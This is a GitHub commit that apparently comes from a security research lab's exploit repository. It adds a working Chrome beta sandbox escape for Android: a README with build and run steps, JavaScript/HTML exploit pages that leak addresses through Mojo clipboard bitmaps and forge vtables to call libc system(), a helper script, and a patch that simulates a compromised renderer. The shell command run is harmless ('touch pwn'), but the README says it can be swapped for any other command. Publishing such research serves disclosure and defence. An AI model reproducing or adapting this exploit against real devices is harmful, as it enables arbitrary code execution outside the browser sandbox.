Skip to content

Commit 00516ff

Browse files
authored
Merge pull request #313 from m-y-mo/chrome_sbx
Blog Material
2 parents abeddc9 + bad40af commit 00516ff

7 files changed

Lines changed: 297 additions & 1 deletion

File tree

SecurityExploits/Android/Qualcomm/CVE-2020-11239/README.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22

33
The write up can be found [here](https://securitylab.github.com/research/one_day_short_of_a_fullchain_android). This is a bug in the Qualcomm kgsl driver I reported in July 2020. The GitHub Advisory can be found [here](https://securitylab.github.com/advisories/GHSL-2020-375-kgsl). The bug can be used to gain arbitrary kernel code execution, read and write from the untrusted app domain.
44

5-
The exploit is tested on Samsung Galaxy A71 with firmware version A715FXXUATJ2, Baseband A715FXXU3ATI5 and Kernel version 4.14.117-19828683. The offsets in the exploit refers to that version of the firmware. For different models of phones, the macro `DMA_ADDRESS`, which indicates the address of the SWIOTLB buffer, will also need to be changed.
5+
The exploit is tested on Samsung Galaxy A71 with firmware version A715FXXU3ATJ2, Baseband A715FXXU3ATI5 and Kernel version 4.14.117-19828683. The offsets in the exploit refers to that version of the firmware. For different models of phones, the macro `DMA_ADDRESS`, which indicates the address of the SWIOTLB buffer, will also need to be changed.
66

77
The exploit is reasonably reliable, although it does need to wait a few minutes after start up, after the kernel activities settled down before running.
88

Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
## Chrome Beta Sandbox Escape GHSL-2020-165
2+
3+
The write up can be found [here](https://securitylab.github.com/research/one_day_short_of_a_fullchain_sbx). This is a bug in the beta version of Chrome v86 I reported in September 2020. The GitHub Advisory can be found [here](https://securitylab.github.com/advisories/GHSL-2020-165-chrome) and the Chrome issue Chrome Issue [here](https://bugs.chromium.org/p/chromium/issues/detail?1125614). The bug can be used to escape the Chrome sandbox from a compromised renderer.
4+
5+
The exploit is tested on the 64 bit beta version 86.0.4240.30 of Chrome with the following build config (`args.gn`):
6+
7+
```
8+
target_os = "android"
9+
target_cpu = "arm64"
10+
is_java_debug = false
11+
is_debug = false
12+
symbol_level = 1
13+
blink_symbol_level = 1
14+
```
15+
16+
The exploit is tested on Samsung Galaxy A71 with firmware version A715FXXU3ATJ2, Baseband A715FXXU3ATI5 and Kernel version 4.14.117-19828683. The offsets in the exploit assume this version of the firmware. For other firmware, use the offsets in the corresponding libraries `libhwui.so` and `libc.so` under `system/lib64`. (64 bit) It requires production firmware on the phone and would fail on emulators and phones with development firmware (i.e. OS built from AOSP source) The actual offsets of these libraries also needs to be updated to the ones obtained from the compromised renderer.
17+
18+
It should succeed most of the time and rarely crash. If successful, it'll run the shell command in the `command` variable in the file `payment_request_clip.html`, which would create a file called `pwn` under the directory `/data/data/org.chromium.chrome/`. It can be replaced with other shell commands.
19+
20+
To test, check out version 86.0.4240.30 of Chrome following [these instructions](https://chromium.googlesource.com/chromium/src/+/master/docs/android_build_instructions.md), then apply the file `sbx.patch` to the simulate a compromised renderer. Then build the `chrome_public_apk` target.
21+
22+
Install the resulting apks (under `out/<target>/apks`) on the phone using `adb`, then enable the `MojoJS` feature to simulate a compromised renderer:
23+
24+
1. Enable `Enable command line on non-rooted devices` from `chrome://flags`
25+
2. Create a file in `/data/local/tmp/chrome-command-line` in the phone and then add `chrome --enable-blink-features=MojoJS` to the file
26+
3. Force stop Chrome and restart
27+
28+
Then create a directory to host the `html` files included in this directory, and run `copy_mojo_js_bindings.py` to copy the mojo bindings to the directory and host the files on localhost:
29+
30+
```
31+
python ./copy_mojo_js_bindings.py /path/to/chrome/../out/<target>/gen
32+
python -m SimpleHTTPServer
33+
```
34+
35+
Then open the page `payment_request_clip.html` from Chrome on the device. The easiest way is to use the `chrome://inspect/#devices` tool to set up the proxies etc. and open the url.
36+
37+
If successful, the shell command will run and a file called `pwn` will be created in the directory `/data/data/org.chromium.chrome/` in the phone. If failed, click on the link to reload the page and try again (can't use reload for this one). It shouldn't need too many retries to succeed.
Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
#! /usr/bin/python
2+
3+
import os
4+
import shutil
5+
import sys
6+
7+
base_path = sys.argv[1]
8+
for path, dirs, files in os.walk(base_path):
9+
for file in files:
10+
if file == 'mojo_bindings.js':
11+
shutil.copyfile(os.path.join(path, file), os.path.join('./', file))
12+
13+
if file.endswith('.mojom.js'):
14+
target_path = os.path.join('./', path[len(base_path) + 1:])
15+
try:
16+
os.makedirs(target_path)
17+
except:
18+
pass
19+
shutil.copyfile(os.path.join(path, file), os.path.join(target_path, file))
20+
Lines changed: 192 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,192 @@
1+
<html>
2+
<head>
3+
<script src="mojo_bindings.js"></script>
4+
<script src="third_party/blink/public/mojom/clipboard/clipboard.mojom.js"></script>
5+
<script>
6+
//Change these to the actual value before running
7+
const libhwuiOffset = 0x75d8dd4000n;
8+
const libcOffset = 0x75d962c000n;
9+
//Points to Execute in libwebp, offset from libhwui
10+
const executeOffset = 0x7db9a0n;
11+
const bitWriterOffset = 0x803e30n;
12+
13+
//Offset to system in libc
14+
const systemOffset = 0x925b0n;
15+
16+
//The offset of GetRoutingID in rfh's vtable
17+
const getRoutingIDOffset = 0x48n;
18+
const ifrmUrl = 'payment_request_clip2.html';
19+
const jamUrl = 'payment_request_jam_clip.html';
20+
21+
const reloadUrl = 'payment_request_clip.html';
22+
23+
const command = 'touch /data/data/org.chromium.chrome/pwn';
24+
//Up to 32 bytes maybe written by bit writer.
25+
const commandOffset = 0x28;
26+
clipboards = [];
27+
dataClipboards = [];
28+
images = [];
29+
30+
31+
function sleep(miliseconds) {
32+
var currentTime = new Date().getTime();
33+
while (currentTime + miliseconds >= new Date().getTime()) {
34+
}
35+
}
36+
37+
function computeAddress(image1, image2) {
38+
let addrBuffer = new ArrayBuffer(8);
39+
let addrIntView = new Uint8Array(addrBuffer);
40+
for (let i = 8; i < 8 + 5; i++) {
41+
if (i != 11) {
42+
addrIntView[i - 8] = image1[i];
43+
} else {
44+
addrIntView[i - 8] = image2[i];
45+
}
46+
}
47+
let addrBigIntView = new BigUint64Array(addrBuffer);
48+
return addrBigIntView[0];
49+
}
50+
51+
function createIframe(id, src) {
52+
let iframe = document.createElement('iframe');
53+
iframe.style.display="none";
54+
iframe.setAttribute('id', id);
55+
if (src !== undefined) {
56+
iframe.src = src;
57+
}
58+
document.body.appendChild(iframe);
59+
}
60+
61+
function removeIframe(id) {
62+
let frame = document.getElementById(id);
63+
frame.parentNode.removeChild(frame);
64+
}
65+
66+
function runCommand(addr) {
67+
window.location = reloadUrl + '?addr=' + addr.toString();
68+
}
69+
70+
function readClipboard() {
71+
clipboards[0].commitWrite();
72+
sleep(1000);
73+
clipboards[0].readImage(1).then(readImg);
74+
sleep(500);
75+
clipboards[1].commitWrite();
76+
sleep(1000);
77+
clipboards[1].readImage(1).then(readImg);
78+
}
79+
80+
function readImg(image) {
81+
if (image.image === null) {
82+
console.log('Failed to obtain read clipboard');
83+
window.location = reloadUrl;
84+
}
85+
let imageData = new Uint8Array(image.image.pixelData.bytes);
86+
images.push(imageData);
87+
if (images.length == 2) {
88+
let addr = computeAddress(images[0], images[1]);
89+
if (addr < 0xffffffffn) {
90+
console.log('Failed to obtain address: ' + addr.toString(16));
91+
window.location = reloadUrl;
92+
}
93+
console.log('addr: ' + addr.toString(16));
94+
runCommand(addr);
95+
}
96+
}
97+
98+
function readAddress(bitmap1, bitmap2) {
99+
createIframe('ifrm', ifrmUrl);
100+
createIframe('ifrm1', ifrmUrl);
101+
createIframe('jam', jamUrl);
102+
setTimeout(()=> {
103+
removeIframe('ifrm');
104+
clipboards[0].writeImage(bitmap1);
105+
removeIframe('ifrm1');
106+
clipboards[1].writeImage(bitmap2);
107+
dataClipboards[29].ptr.reset();
108+
dataClipboards[30].ptr.reset();
109+
setTimeout(readClipboard, 3000);
110+
}, 3000);
111+
}
112+
113+
function createBitmap(alphaType, width, vtable) {
114+
let data = new ArrayBuffer(width * width * 4);
115+
if (vtable !== undefined) {
116+
let view = new BigUint64Array(data);
117+
view[0] = vtable;
118+
}
119+
let colorSpace = new Array(9);
120+
let imageInfo = new skia.mojom.ImageInfo();
121+
imageInfo.colorType = 4;
122+
imageInfo.alphaType = alphaType;
123+
imageInfo.serializedColorSpace = colorSpace;
124+
imageInfo.width = width;
125+
imageInfo.height = width;
126+
let bigBuffer = new mojoBase.mojom.BigBuffer();
127+
bigBuffer.bytes = new Uint8Array(data);
128+
let bitmap = new skia.mojom.Bitmap();
129+
bitmap.imageInfo = imageInfo;
130+
bitmap.rowBytes = width * 4;
131+
bitmap.pixelData = bigBuffer;
132+
return bitmap;
133+
}
134+
135+
function createClipboards(n, clipboardArr) {
136+
for (let i = 0; i < n; i++) {
137+
let clipboard_ptr = new blink.mojom.ClipboardHostPtr();
138+
Mojo.bindInterface(blink.mojom.ClipboardHost.name,
139+
mojo.makeRequest(clipboard_ptr).handle);
140+
clipboardArr.push(clipboard_ptr);
141+
}
142+
}
143+
144+
145+
function sprayCommand() {
146+
let dataBitmap = createBitmap(1, 16);
147+
let data = dataBitmap.pixelData.bytes;
148+
for (let i = 0; i < command.length; i++) {
149+
data[commandOffset + i] = command.charCodeAt(i);
150+
}
151+
for (let i = 0; i < dataClipboards.length; i++) {
152+
dataClipboards[i].writeImage(dataBitmap);
153+
}
154+
}
155+
156+
function load() {
157+
let addrIdx = window.location.href.search('addr');
158+
if (addrIdx == -1) {
159+
let vtable = libhwuiOffset + bitWriterOffset - getRoutingIDOffset;
160+
createClipboards(2, clipboards);
161+
createClipboards(32, dataClipboards);
162+
sprayCommand();
163+
let bitmap1 = createBitmap(1, 32, vtable);
164+
let bitmap2 = createBitmap(2, 32, vtable);
165+
readAddress(bitmap1, bitmap2);
166+
} else {
167+
createClipboards(1, clipboards);
168+
sleep(2000);
169+
let addr = BigInt(window.location.href.substring(addrIdx + 5));
170+
if (addr == 0) {
171+
window.location = reloadUrl;
172+
}
173+
let vtable = libhwuiOffset + executeOffset - getRoutingIDOffset;
174+
let bitmap = createBitmap(1, 32, vtable);
175+
//fake WebPWorker
176+
let view = new BigUint64Array(bitmap.pixelData.bytes.buffer);
177+
view[2] = libcOffset + systemOffset;
178+
view[3] = addr + BigInt(commandOffset);
179+
createIframe('ifrm', ifrmUrl);
180+
createIframe('jam', jamUrl);
181+
setTimeout(() => {
182+
removeIframe('ifrm');
183+
clipboards[0].writeImage(bitmap);
184+
console.log('done');
185+
}, 3000);
186+
}
187+
}
188+
</script>
189+
<body onload="load()">
190+
<a href="payment_request_clip.html">reload</a>
191+
</body>
192+
</html>
Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
<html>
2+
<body>
3+
<script>
4+
var supportedInstruments = [{
5+
supportedMethods: 'secure-payment-confirmation',
6+
data: {'credentialIds' : [new ArrayBuffer(4)], 'fallbackUrl' : 'localhost:8000', 'networkData' : new ArrayBuffer(4),
7+
}
8+
}];
9+
10+
var details = {
11+
total: {
12+
label: 'Total',
13+
amount: { currency: 'USD', value : '55.00' }
14+
}
15+
};
16+
var options = {};
17+
for (let i = 0; i < 0x1; i++) {
18+
var request = new PaymentRequest(supportedInstruments, details, options);
19+
}
20+
</script>
21+
</body>
22+
</html>
Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
<html>
2+
<body>
3+
<script>
4+
for (let i = 0; i < 0x800; i++) {
5+
PublicKeyCredential.isUserVerifyingPlatformAuthenticatorAvailable();
6+
}
7+
</script>
8+
</body>
9+
</html>
Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
diff --git a/third_party/blink/renderer/modules/payments/payment_request.cc b/third_party/blink/renderer/modules/payments/payment_request.cc
2+
index b0975c59ddb5..a2d7c273950c 100644
3+
--- a/third_party/blink/renderer/modules/payments/payment_request.cc
4+
+++ b/third_party/blink/renderer/modules/payments/payment_request.cc
5+
@@ -439,9 +439,9 @@ void StringifyAndParseMethodSpecificData(ExecutionContext& execution_context,
6+
if (supported_method == "basic-card") {
7+
BasicCardHelper::ParseBasiccardData(input, output->supported_networks,
8+
exception_state);
9+
- } else if (supported_method == kSecurePaymentConfirmationMethod &&
10+
+ } else if (supported_method == kSecurePaymentConfirmationMethod/* &&
11+
RuntimeEnabledFeatures::SecurePaymentConfirmationEnabled(
12+
- &execution_context)) {
13+
+ &execution_context)*/) {
14+
UseCounter::Count(&execution_context,
15+
WebFeature::kSecurePaymentConfirmation);
16+
output->secure_payment_confirmation =

0 commit comments

Comments
 (0)